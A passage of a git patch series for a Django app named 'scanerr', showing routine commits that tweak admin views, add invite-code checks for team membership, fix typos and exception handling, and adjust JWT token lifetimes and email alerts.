('__str__', 'user', 'time_created',) + @admin.register(Testcase) class TestcaseAdmin(admin.ModelAdmin): list_display = ('__str__', 'user', 'time_created', 'time_completed',) From 9c11a117f97524afca383a23214a747f6e9b8a04 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:36:06 -0500 Subject: [PATCH 222/277] debug --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 5b55b60f..4a4ea31c 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = False +DEBUG = True ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From 3c7e35c5b17a4e00b553a6b706048edb409d2e90 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:38:51 -0500 Subject: [PATCH 223/277] testing --- app/api/admin.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/app/api/admin.py b/app/api/admin.py index 942ead62..4e300a57 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -33,8 +33,10 @@ class AccountAdmin(admin.ModelAdmin): @admin.register(Member) class MemberAdmin(admin.ModelAdmin): - list_display = ('user', 'account__name', 'time_created', 'type', 'status') - search_fields = ('user__username', 'account__name') + # list_display = ('user', 'account__name', 'time_created', 'type', 'status') + # search_fields = ('user__username', 'account__name') + list_display = ('__str__', 'time_created') + search_fields = ('__str__',) @admin.register(Card) From 85d2a5cfb2e2a5444472dade855e35254629ddb1 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:42:07 -0500 Subject: [PATCH 224/277] testing --- app/api/admin.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/app/api/admin.py b/app/api/admin.py index 4e300a57..e0954273 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -33,10 +33,10 @@ class AccountAdmin(admin.ModelAdmin): @admin.register(Member) class MemberAdmin(admin.ModelAdmin): - # list_display = ('user', 'account__name', 'time_created', 'type', 'status') - # search_fields = ('user__username', 'account__name') - list_display = ('__str__', 'time_created') - search_fields = ('__str__',) + list_display = ('user__username', 'account__name', 'time_created', 'type', 'status') + search_fields = ('user__username', 'account__name') + # list_display = ('__str__', 'time_created') + # search_fields = ('__str__',) @admin.register(Card) From 9484debf4e9015df08ccf88bf54e782140aceb47 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:44:18 -0500 Subject: [PATCH 225/277] testing --- app/api/admin.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/admin.py b/app/api/admin.py index e0954273..364ab408 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -33,7 +33,7 @@ class AccountAdmin(admin.ModelAdmin): @admin.register(Member) class MemberAdmin(admin.ModelAdmin): - list_display = ('user__username', 'account__name', 'time_created', 'type', 'status') + list_display = ('user', 'account', 'time_created', 'type', 'status') search_fields = ('user__username', 'account__name') # list_display = ('__str__', 'time_created') # search_fields = ('__str__',) From 91a7d560af942dc91bf44a0b0efe54eb2b3ec454 Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 8 May 2023 20:45:50 -0500 Subject: [PATCH 226/277] cleaning things up --- app/api/admin.py | 2 -- 1 file changed, 2 deletions(-) diff --git a/app/api/admin.py b/app/api/admin.py index 364ab408..16e08a0b 100644 --- a/app/api/admin.py +++ b/app/api/admin.py @@ -35,8 +35,6 @@ class AccountAdmin(admin.ModelAdmin): class MemberAdmin(admin.ModelAdmin): list_display = ('user', 'account', 'time_created', 'type', 'status') search_fields = ('user__username', 'account__name') - # list_display = ('__str__', 'time_created') - # search_fields = ('__str__',) @admin.register(Card) From a3d6b7ec3fd1202bf56de9fd66113c6577169544 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 10:59:31 -0500 Subject: [PATCH 227/277] added invite authorization --- app/api/v1/auth/services.py | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 71563f64..cf90665f 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -399,6 +399,7 @@ def create_or_update_member(request=None, *args, **kwargs): status = request.data.get('status') type = request.data.get('type') email = request.data.get('email') + code = request.data.get('code') if requerst is None: user = kwargs.get('user') @@ -406,6 +407,7 @@ def create_or_update_member(request=None, *args, **kwargs): status = kwargs.get('status') type = kwargs.get('type') email = kwargs.get('email') + code = kwargs.get('code') if _id is not None: @@ -422,8 +424,17 @@ def create_or_update_member(request=None, *args, **kwargs): member.email = email if type is not None: member.type = type + if status is not None: - member.status = status + if status == 'active': + if code == member.account.code: + member.status = status + else: + data = {'reason': 'member not authorized',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + else: + member.status = status # saving updated info member.save() From 9fba458cb31932c96adb30a2145d2dc0085b965e Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 11:02:04 -0500 Subject: [PATCH 228/277] refactored auth for invite --- app/api/v1/auth/services.py | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index cf90665f..987c3b49 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -424,17 +424,12 @@ def create_or_update_member(request=None, *args, **kwargs): member.email = email if type is not None: member.type = type - if status is not None: - if status == 'active': - if code == member.account.code: - member.status = status - else: - data = {'reason': 'member not authorized',} - record_api_call(request, data, '403') - return Response(data, status=status.HTTP_403_FORBIDDEN) - else: - member.status = status + if status == 'active' and code != member.account.code: + data = {'reason': 'member not authorized',} + record_api_call(request, data, '403') + return Response(data, status=status.HTTP_403_FORBIDDEN) + member.status = status # saving updated info member.save() From 24c35e37efb00019740c2cab142b2665d4d9148f Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 19:01:51 -0500 Subject: [PATCH 229/277] updates --- app/api/v1/auth/services.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 987c3b49..76b0e251 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -349,7 +349,8 @@ def get_account(request=None, id=None, *args, **kwargs): account = get_object_or_404(Account, pk=account_id) if account_id is None and id is None: - account = Member.objects.get(user=user).account + member = get_object_or_404(member, user=user) + account = member.account if not Member.objects.filter(account=account, user=user).exists(): data = {'reason': 'you cannot retrieve an Account you are not a member of',} @@ -471,7 +472,7 @@ def get_member(request=None, id=None, *args, **kwargs): member = get_object_or_404(member, pk=member_id) if member_id is None and id is None: - member = Member.objects.get(user=user) + member = get_object_or_404(member, user=user) if member.user != user and member.account.user != user: data = {'reason': 'you cannot retrieve a Member you are not affiliated with',} From e8b16f55a6f94f4d130846e0e442c6bf8f707d86 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 19:13:57 -0500 Subject: [PATCH 230/277] making id optional --- app/api/v1/auth/views.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index ad27ba1c..41741cf7 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -232,7 +232,7 @@ def post(self, request, *args, **kwargs ): response = create_or_update_account(request) return response - def get(self, request, id, *args, **kwargs): + def get(self, request, id=None, *args, **kwargs): response = get_account(request, id) return response @@ -242,7 +242,7 @@ class AccountMembers(APIView): permission_classes = (AllowAny,) http_method_names = ['get',] - def get(self, request, id, *args, **kwargs): + def get(self, request, id=None, *args, **kwargs): response = get_account_members(request, id) return response @@ -255,7 +255,7 @@ def post(self, request, *args, **kwargs ): response = create_or_update_member(request) return response - def get(self, request, id, *args, **kwargs): + def get(self, request, id=None, *args, **kwargs): response = get_member(request, id) return response From 1fc709cf58eebeac94c23bb730c7e945f2ad492e Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 19:17:32 -0500 Subject: [PATCH 231/277] import all services --- app/api/v1/auth/views.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index 41741cf7..6ea2da15 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -17,11 +17,7 @@ from .alerts import send_reset_link from ...models import Account, Member from datetime import timedelta, datetime -from .services import ( - google_get_access_token, google_get_user_info, - user_get_or_create, jwt_login, slack_oauth_middleware, - slack_oauth_init, create_user_token, t7e -) +from .services import * import os, stripe, json From d5838b2c58e9e0900a28e981d08ea452e3b852b5 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 19:20:53 -0500 Subject: [PATCH 232/277] fixed ref issue --- app/api/v1/auth/services.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 76b0e251..f89cf724 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -349,7 +349,7 @@ def get_account(request=None, id=None, *args, **kwargs): account = get_object_or_404(Account, pk=account_id) if account_id is None and id is None: - member = get_object_or_404(member, user=user) + member = get_object_or_404(Member, user=user) account = member.account if not Member.objects.filter(account=account, user=user).exists(): @@ -469,10 +469,10 @@ def get_member(request=None, id=None, *args, **kwargs): member = get_object_or_404(Member, pk=id) if member_id is not None: - member = get_object_or_404(member, pk=member_id) + member = get_object_or_404(Member, pk=member_id) if member_id is None and id is None: - member = get_object_or_404(member, user=user) + member = get_object_or_404(Member, user=user) if member.user != user and member.account.user != user: data = {'reason': 'you cannot retrieve a Member you are not affiliated with',} From c770489b89ec49e5592a1d433b1131dddf89bbbc Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 19:29:13 -0500 Subject: [PATCH 233/277] fixing exceptions --- app/api/v1/auth/services.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index f89cf724..59c3235f 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -349,8 +349,10 @@ def get_account(request=None, id=None, *args, **kwargs): account = get_object_or_404(Account, pk=account_id) if account_id is None and id is None: - member = get_object_or_404(Member, user=user) - account = member.account + if not Member.objects.filter(user=user).exists(): + data = {'reason': 'account not found',} + return Response(data, status=status.HTTP_404_NOT_FOUND) + account = Member.objects.get(user=user).account if not Member.objects.filter(account=account, user=user).exists(): data = {'reason': 'you cannot retrieve an Account you are not a member of',} @@ -472,7 +474,10 @@ def get_member(request=None, id=None, *args, **kwargs): member = get_object_or_404(Member, pk=member_id) if member_id is None and id is None: - member = get_object_or_404(Member, user=user) + if not Member.objects.filter(user=user).exists(): + data = {'reason': 'member not found',} + return Response(data, status=status.HTTP_404_NOT_FOUND) + member = Member.objects.get(user=user) if member.user != user and member.account.user != user: data = {'reason': 'you cannot retrieve a Member you are not affiliated with',} From 731d202c3432fd7e7284cc62bbb9d56f3907fc59 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 21:39:36 -0500 Subject: [PATCH 234/277] fixed typo --- app/api/v1/auth/services.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 59c3235f..bf4d769b 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -260,7 +260,7 @@ def create_or_update_account(request=None, *args, **kwargs): price_id = request.data.get('price_id') slack = request.data.get('slack') - if requerst is None: + if request is None: user = kwargs.get('user') _id = kwargs.get('id') name = kwargs.get('name') @@ -404,7 +404,7 @@ def create_or_update_member(request=None, *args, **kwargs): email = request.data.get('email') code = request.data.get('code') - if requerst is None: + if request is None: user = kwargs.get('user') account = kwargs.get('account') status = kwargs.get('status') From 76ac393f41a22236dfb45eaa893fbeba503c411b Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 21:41:47 -0500 Subject: [PATCH 235/277] fixed bug --- app/api/v1/auth/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index bf4d769b..60ad7033 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -312,7 +312,7 @@ def create_or_update_account(request=None, *args, **kwargs): if _id is None: if code is None: - code = secrets.token_urlsafe([16]) + code = secrets.token_urlsafe(16) account = Account.objects.create( user=user, From 44285ee9348fc130d54474f1e47cc5014d2cd529 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 21:44:32 -0500 Subject: [PATCH 236/277] fixed bug --- app/api/v1/auth/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 60ad7033..5290136b 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -317,7 +317,7 @@ def create_or_update_account(request=None, *args, **kwargs): account = Account.objects.create( user=user, name=name, - active=active, + active=True, type=type, code=code, max_sites=max_sites, From 4219f19f425c1ea049a8b3fbcd1a037189bd1b21 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 9 May 2023 21:57:47 -0500 Subject: [PATCH 237/277] updates --- app/api/v1/auth/services.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 5290136b..e67cfd64 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -412,6 +412,13 @@ def create_or_update_member(request=None, *args, **kwargs): email = kwargs.get('email') code = kwargs.get('code') + if account is not None: + if Account.objects.filter(id=account).exists(): + account = Account.objects.get(id=account) + else: + data = {'reason': 'account not found',} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if _id is not None: if not Member.objects.filter(id=_id).exists(): From a4615cab3e35db371069dd42c518166b7a7bb3be Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 18:46:53 -0500 Subject: [PATCH 238/277] upgrading timedeltas for JWT tokens --- app/scanerr/settings.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 4a4ea31c..0eaa34ce 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -133,10 +133,10 @@ } -# SIMPLE_JWT = { -# 'ACCESS_TOKEN_LIFETIME': timedelta(minutes=.5), -# 'REFRESH_TOKEN_LIFETIME': timedelta(minutes=1), -# } +SIMPLE_JWT = { + 'ACCESS_TOKEN_LIFETIME': timedelta(hours=24), + 'REFRESH_TOKEN_LIFETIME': timedelta(hours=36), +} From c0b24fb000f75b0b613d35e12cb3e7ff25e7a08c Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 18:57:47 -0500 Subject: [PATCH 239/277] fixing some issues on createing Member --- app/api/v1/auth/services.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index e67cfd64..89e15129 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -432,6 +432,8 @@ def create_or_update_member(request=None, *args, **kwargs): member.account = account if email is not None: member.email = email + if user is not None: + member.user = user if type is not None: member.type = type if status is not None: @@ -446,7 +448,6 @@ def create_or_update_member(request=None, *args, **kwargs): if _id is None: member = Member.objects.create( - user=user, email=email, status=status, type=type, From 8a4002663b913703dcc98f51baf72dc19b449fff Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 18:58:34 -0500 Subject: [PATCH 240/277] cleaning --- app/api/v1/auth/services.py | 1 + 1 file changed, 1 insertion(+) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 89e15129..2c6bcfef 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -437,6 +437,7 @@ def create_or_update_member(request=None, *args, **kwargs): if type is not None: member.type = type if status is not None: + # checking if user has valid code for membership if status == 'active' and code != member.account.code: data = {'reason': 'member not authorized',} record_api_call(request, data, '403') From 0a60f812a9b9915ac1987bd8728c581aa918aec7 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 19:06:28 -0500 Subject: [PATCH 241/277] fixing alert bugs --- app/api/v1/auth/alerts.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py index 912f04f1..6eef58b2 100644 --- a/app/api/v1/auth/alerts.py +++ b/app/api/v1/auth/alerts.py @@ -64,9 +64,9 @@ def send_reset_link(email): def send_invite_link(member): - if Member.objects.filter(email=email, status="pending").exists(): - member = Member.objects.get(email=email) - link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={account.id}&code={account.code}&member={member.id}&email={email}' + if Member.objects.filter(email=member.email, status="pending").exists(): + member = Member.objects.get(email=member.email) + link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={account.id}&code={account.code}&member={member.id}&email={member.email}' subject = 'Scanerr Invite' title = 'Scanerr Invite' pre_header = 'Scanerr Invite' @@ -90,7 +90,7 @@ def send_invite_link(member): from_email = os.getenv('EMAIL_HOST_USER'), subject = subject, message = plain_message, - recipient_list = [email], + recipient_list = [member.email], html_message = html_message, fail_silently = True, ) @@ -111,8 +111,8 @@ def send_invite_link(member): def send_remove_alert(member): - if Member.objects.filter(email=email, status="removed").exists(): - member = Member.objects.get(email=email) + if Member.objects.filter(email=member.email, status="removed").exists(): + member = Member.objects.get(email=member.email) subject = 'Removed From Account' title = 'Removed From Account' pre_header = 'Removed From Account' @@ -135,7 +135,7 @@ def send_remove_alert(member): from_email = os.getenv('EMAIL_HOST_USER'), subject = subject, message = plain_message, - recipient_list = [email], + recipient_list = [member.email], html_message = html_message, fail_silently = True, ) From 611abbcfef61ad7049e81a530a3adf15697055b5 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 19:13:32 -0500 Subject: [PATCH 242/277] fixing admin view --- app/api/models.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/models.py b/app/api/models.py index 45b10b99..32f711a9 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -277,7 +277,7 @@ class Member(models.Model): time_created = models.DateTimeField(default=timezone.now, serialize=True) def __str__(self): - return f'{self.user.email}__{self.account.name}' + return f'{self.email}__{self.account.name}' From 2639c942f7b06f24c5671abdfe14c47288066e24 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 19:17:04 -0500 Subject: [PATCH 243/277] fixing more bugs in alerts --- app/api/v1/auth/alerts.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py index 6eef58b2..a0514ae3 100644 --- a/app/api/v1/auth/alerts.py +++ b/app/api/v1/auth/alerts.py @@ -66,7 +66,7 @@ def send_reset_link(email): def send_invite_link(member): if Member.objects.filter(email=member.email, status="pending").exists(): member = Member.objects.get(email=member.email) - link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={account.id}&code={account.code}&member={member.id}&email={member.email}' + link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}' subject = 'Scanerr Invite' title = 'Scanerr Invite' pre_header = 'Scanerr Invite' From 2ad8a5a9040fe354ffcdcb6ec7063e8c81a5dfcb Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 19:19:24 -0500 Subject: [PATCH 244/277] fixed import issues --- app/api/v1/auth/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 2c6bcfef..0b85992b 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -15,7 +15,7 @@ from slack_sdk.oauth.installation_store import FileInstallationStore, Installation from slack_sdk.oauth.state_store import FileOAuthStateStore from slack_sdk.web import WebClient -from .serializers import AccountSerializer +from .serializers import * from .alerts import * from rest_framework.response import Response from django.contrib.auth.middleware import get_user From afe0565a737d18d3656b32171ea083306cb23203 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 19:23:22 -0500 Subject: [PATCH 245/277] fixing naming issues --- app/api/v1/auth/services.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 0b85992b..124b20f1 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -399,7 +399,7 @@ def create_or_update_member(request=None, *args, **kwargs): user = request.user _id = request.data.get('id') account = request.data.get('account') - status = request.data.get('status') + _status = request.data.get('status') type = request.data.get('type') email = request.data.get('email') code = request.data.get('code') @@ -407,7 +407,7 @@ def create_or_update_member(request=None, *args, **kwargs): if request is None: user = kwargs.get('user') account = kwargs.get('account') - status = kwargs.get('status') + _status = kwargs.get('status') type = kwargs.get('type') email = kwargs.get('email') code = kwargs.get('code') @@ -436,13 +436,13 @@ def create_or_update_member(request=None, *args, **kwargs): member.user = user if type is not None: member.type = type - if status is not None: + if _status is not None: # checking if user has valid code for membership - if status == 'active' and code != member.account.code: + if _status == 'active' and code != member.account.code: data = {'reason': 'member not authorized',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) - member.status = status + member.status = _status # saving updated info member.save() @@ -450,7 +450,7 @@ def create_or_update_member(request=None, *args, **kwargs): if _id is None: member = Member.objects.create( email=email, - status=status, + status=_status, type=type, account=account, ) From e5f542085960b16932594acfe11b078eafff7d8e Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 20:03:19 -0500 Subject: [PATCH 246/277] removing slack from create account --- app/api/v1/auth/services.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 124b20f1..bd42bde6 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -324,8 +324,7 @@ def create_or_update_account(request=None, *args, **kwargs): cust_id=cust_id, sub_id=sub_id, product_id=product_id, - price_id=price_id, - slack=slack + price_id=price_id ) From 8f8e07a04a14c03437da4a7c312d3bb9037606c1 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 20:04:37 -0500 Subject: [PATCH 247/277] fixed invite mech --- app/api/v1/auth/services.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index bd42bde6..cddd792e 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -455,10 +455,10 @@ def create_or_update_member(request=None, *args, **kwargs): ) - if status == 'pending': + if _status == 'pending': send_invite_link(member) - if status == 'removed': + if _status == 'removed': send_remove_alert(member) From 4375a016edd65b5fe3994e879dd6c26d2b904c9f Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 10 May 2023 20:29:01 -0500 Subject: [PATCH 248/277] added record_api_calls --- app/api/v1/auth/services.py | 1 + 1 file changed, 1 insertion(+) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index cddd792e..2210fecc 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -11,6 +11,7 @@ from django.shortcuts import get_object_or_404 from rest_framework.authtoken.models import Token from ...models import Account, Card, Member +from ..ops.services import record_api_call from slack_sdk.oauth import AuthorizeUrlGenerator from slack_sdk.oauth.installation_store import FileInstallationStore, Installation from slack_sdk.oauth.state_store import FileOAuthStateStore From 50c1f055100db1c2ce687e950eb19837abb4eb85 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 12:55:08 -0500 Subject: [PATCH 249/277] fixed small bug --- app/api/v1/auth/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 2210fecc..bc4ac599 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -371,7 +371,7 @@ def get_account(request=None, id=None, *args, **kwargs): def get_account_members(request=None, id=None, *args, **kwargs): user = request.user account_id = request.query_params.get('id') - mem_acct = Member.objets.get(user=user).account + mem_acct = Member.objects.get(user=user).account if id is not None: account = get_object_or_404(Account, pk=id) From 63367c77db1cd315e0e9437b936a70e0e9c2d1c4 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 12:57:20 -0500 Subject: [PATCH 250/277] added paginator --- app/api/v1/auth/services.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index bc4ac599..17052cac 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -19,9 +19,11 @@ from .serializers import * from .alerts import * from rest_framework.response import Response +from rest_framework.pagination import LimitOffsetPagination from django.contrib.auth.middleware import get_user + GOOGLE_ID_TOKEN_INFO_URL = 'https://www.googleapis.com/oauth2/v3/tokeninfo' GOOGLE_ACCESS_TOKEN_OBTAIN_URL = 'https://oauth2.googleapis.com/token' GOOGLE_USER_INFO_URL = 'https://www.googleapis.com/oauth2/v3/userinfo' From fa24fcb797f78986992814d6e18fba757a02517c Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 13:00:17 -0500 Subject: [PATCH 251/277] added name to Account serializer --- app/api/v1/auth/serializers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py index fc1b4e7a..77f4d9ab 100644 --- a/app/api/v1/auth/serializers.py +++ b/app/api/v1/auth/serializers.py @@ -69,7 +69,7 @@ class Meta: model = Account fields = ['id', 'active', 'time_created', 'type', 'cust_id', 'sub_id', 'product_id', 'price_id', 'slack', - 'user', 'code', + 'user', 'code', 'name', ] From 6464489d0ccebc178ecf4262efef4febeb2eb9e4 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 17:54:24 -0500 Subject: [PATCH 252/277] fixed link bug in alerts --- app/api/v1/auth/alerts.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py index a0514ae3..b28fa0cf 100644 --- a/app/api/v1/auth/alerts.py +++ b/app/api/v1/auth/alerts.py @@ -123,7 +123,7 @@ def send_remove_alert(member): 'title' : title, 'pre_header' : pre_header, 'pre_content' : pre_content, - 'object_url' : link, + 'object_url' : None, 'home_page' : os.environ.get('CLIENT_URL_ROOT'), 'content' : '', 'signature' : '- Cheers!', From 78c6118b0d42b0eb361588cb395637cfa0ca1b32 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 20:03:42 -0500 Subject: [PATCH 253/277] fixing member update issues --- app/api/v1/auth/services.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 17052cac..b73cf9b1 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -434,7 +434,7 @@ def create_or_update_member(request=None, *args, **kwargs): member.account = account if email is not None: member.email = email - if user is not None: + if user is not None and user.usermane == member.email: member.user = user if type is not None: member.type = type From 6f957c4a98404f2b6ed711d139d4d45ced45452a Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 20:06:32 -0500 Subject: [PATCH 254/277] added delete method to member update --- app/api/v1/auth/services.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index b73cf9b1..05108341 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -463,6 +463,10 @@ def create_or_update_member(request=None, *args, **kwargs): if _status == 'removed': send_remove_alert(member) + member.delete() + data = {'message': 'Member removed'} + response = Response(data, status=status.HTTP_200_OK) + return response serializer_context = {'request': request,} From bbbac01a68fa0ca26158a6c84430e5f4cac5b240 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 20:09:39 -0500 Subject: [PATCH 255/277] fixed spelling issues --- app/api/v1/auth/services.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 05108341..96fa4eec 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -434,7 +434,7 @@ def create_or_update_member(request=None, *args, **kwargs): member.account = account if email is not None: member.email = email - if user is not None and user.usermane == member.email: + if user is not None and user.username == member.email: member.user = user if type is not None: member.type = type @@ -457,7 +457,6 @@ def create_or_update_member(request=None, *args, **kwargs): account=account, ) - if _status == 'pending': send_invite_link(member) @@ -468,7 +467,6 @@ def create_or_update_member(request=None, *args, **kwargs): response = Response(data, status=status.HTTP_200_OK) return response - serializer_context = {'request': request,} serialized = MemberSerializer(member, context=serializer_context) data = serialized.data From dd19cc63d9ca232a24d80f43179ff90b42fbdb9d Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 11 May 2023 20:55:10 -0500 Subject: [PATCH 256/277] fixing account associations --- app/api/v1/ops/services.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 2e8fbdcc..4a1aef61 100644 --- 